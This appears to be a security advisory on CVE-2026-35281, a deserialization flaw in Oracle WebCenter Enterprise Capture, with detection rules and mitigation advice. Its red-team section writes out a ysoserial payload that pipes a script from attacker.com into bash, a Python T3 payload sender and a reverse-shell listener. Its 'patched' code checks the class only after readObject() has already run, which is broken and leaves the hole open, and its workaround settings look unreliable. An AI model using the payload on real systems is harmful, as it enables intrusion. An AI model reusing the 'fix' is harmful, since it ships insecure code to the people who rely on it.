CVE-2026-35281

Executive Summary

CVE-2026-35281 is a critical deserialization vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the Client Bundle component and is exploitable via T3 and IIOP protocols. A low-privileged attacker with network access can achieve full remote code execution, leading to complete compromise of the application. The CVSS score of 9.9 reflects the ease of exploitation, low privileges required, and severe impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, but the vulnerability is considered highly dangerous due to the widespread use of Oracle Fusion Middleware in enterprise environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Oracle product, and no open-source package supply chain implications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows a low-privileged attacker to achieve full remote code execution without user interaction. The scope change indicates that the attack can affect other systems or components, making it a prime target for ransomware or data exfiltration campaigns.

Deep Dive & Mechanics

The vulnerability is a deserialization flaw in the Client Bundle component of Oracle WebCenter Enterprise Capture. The component uses Java serialization over T3 (a proprietary Oracle protocol) and IIOP (Internet Inter-ORB Protocol) to communicate between clients and servers. An attacker can craft a malicious serialized object and send it via these protocols. When the server deserializes the object without proper validation, it can execute arbitrary code.

Root Cause: The application does not implement a whitelist of allowed classes for deserialization, allowing an attacker to instantiate arbitrary Java objects. This is a classic CWE-502 (Deserialization of Untrusted Data) vulnerability.

Attack Flow:

1. Attacker gains low-privileged access to the network (e.g., via a compromised user account or VPN).
2. Attacker crafts a malicious Java serialized object (e.g., using ysoserial or similar tools) that triggers code execution upon deserialization.
3. Attacker sends the payload over T3 or IIOP to the Oracle WebCenter Enterprise Capture server.
4. The server deserializes the payload, executing the attacker's code.
5. The attacker gains full control of the application and potentially other systems due to scope change.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.

Vulnerable Code (Java):

// Vulnerable: Direct deserialization without validation
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // No whitelist check

Patched Code (Hypothetical):

// Patched: Use a whitelist of allowed classes
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject();
if (!allowedClasses.contains(obj.getClass().getName())) {
    throw new SecurityException("Deserialization of unauthorized class");
}

The vulnerable code blindly deserializes any object, while the patched version checks against a whitelist of safe classes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Oracle WebCenter Enterprise Capture 12.2.1.4.0 or 14.1.2.0.0 running on a test environment.
• Network access to the T3 (port 7001) or IIOP (port 14000) ports.
• A low-privileged account (e.g., weblogic user).

Exploitation Steps:

1. Identify the target: Use Shodan or Nmap to find Oracle WebCenter instances.

   nmap -p 7001,14000 --script weblogic-t3-info <target_ip>
   

2. Craft a deserialization payload: Use ysoserial to generate a payload for a common gadget chain (e.g., CommonsCollections).

   java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/revshell.sh | bash' > payload.ser
   

3. Send the payload over T3: Use a custom Python script or Metasploit module.

   import socket
   import struct
   
   def send_t3_payload(host, port, payload):
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((host, port))
       # T3 handshake (simplified)
       sock.send(b"t3 12.2.1\nAS:255\nHL:19\n\n")
       # Send serialized payload
       sock.send(struct.pack('>I', len(payload)) + payload)
       sock.close()
   
   with open('payload.ser', 'rb') as f:
       payload = f.read()
   send_t3_payload('target_ip', 7001, payload)
   

4. Receive reverse shell: Set up a listener on your attacker machine.

   nc -lvnp 4444
   

Note: No public exploit code is available from Exploit-DB or other sources. The above is a generic approach for Oracle WebLogic deserialization vulnerabilities.

Blue Team

Detection and Response:

1. Monitor T3/IIOP traffic: Look for unusual serialized objects or large payloads.
2. Enable deserialization filtering: Use Oracle's built-in weblogic.security.utils.FilteredObjectInputStream if available.
3. Harden network segmentation: Restrict access to T3/IIOP ports to trusted IPs only.
4. Apply virtual patching: Use WAF rules to block known deserialization patterns (e.g., java.lang.Runtime).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual T3/IIOP traffic on ports 7001 or 14000.
  • Large serialized objects (size > 10KB) in T3 handshakes.
  • Outbound connections from the Oracle server to unknown IPs (e.g., reverse shell).
• File IOCs:
  • Presence of ysoserial or similar tools on the attacker's machine.
  • Unexpected .ser or .class files in the Oracle server's temp directories.
• System IOCs:
  • New processes spawned by the Oracle WebCenter user (e.g., bash, curl).
  • Unusual log entries in $DOMAIN_HOME/servers/*/logs/*.log containing deserialization errors.

Detection Engineering

YARA Rule

rule CVE_2026_35281_Deserialization {
    meta:
        description = "Detects serialized Java objects targeting Oracle WebCenter Enterprise Capture"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35281"
    strings:
        $t3_header = "t3 12.2.1" ascii wide
        $iiop_header = "GIOP" ascii wide
        $java_serial = { AC ED 00 05 } // Java serialization magic bytes
        $runtime = "java.lang.Runtime" ascii wide
        $processbuilder = "java.lang.ProcessBuilder" ascii wide
    condition:
        ($t3_header or $iiop_header) and $java_serial and ($runtime or $processbuilder)
}

Sigma Rule

title: CVE-2026-35281 Oracle WebCenter Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit deserialization vulnerability in Oracle WebCenter Enterprise Capture via T3/IIOP
author: Valters IT
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port:
            - 7001
            - 14000
        payload|contains:
            - 'aced0005'  # Java serialization magic bytes in hex
            - 'java.lang.Runtime'
            - 'java.lang.ProcessBuilder'
    condition: selection
falsepositives:
    - Legitimate Java serialization traffic (rare)
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 7001,14000 (msg:"CVE-2026-35281 Oracle WebCenter Deserialization Attempt"; flow:to_server,established; content:"|ac ed 00 05|"; depth:4; content:"java.lang.Runtime"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable T3/IIOP protocols if not required for business operations.
2. Apply network segmentation to restrict access to Oracle WebCenter ports.
3. Monitor logs for deserialization attempts using the provided detection rules.

Long-term Fix:

• Await an official patch from Oracle. In the meantime, consider upgrading to a non-affected version if available.
• Implement a custom deserialization filter using Oracle's weblogic.security.utils.FilteredObjectInputStream or a third-party solution.
• Use a Web Application Firewall (WAF) to block known deserialization payloads.

Workaround:

• If T3/IIOP must remain enabled, configure a whitelist of allowed classes in the server's startup script:

  -Dweblogic.security.utils.FilteredObjectInputStream=true
  -Dweblogic.security.utils.FilteredObjectInputStream.allowedClasses=com.example.SafeClass
  

Valters IT
DevSecOps & Cyber Threat Intelligence Expert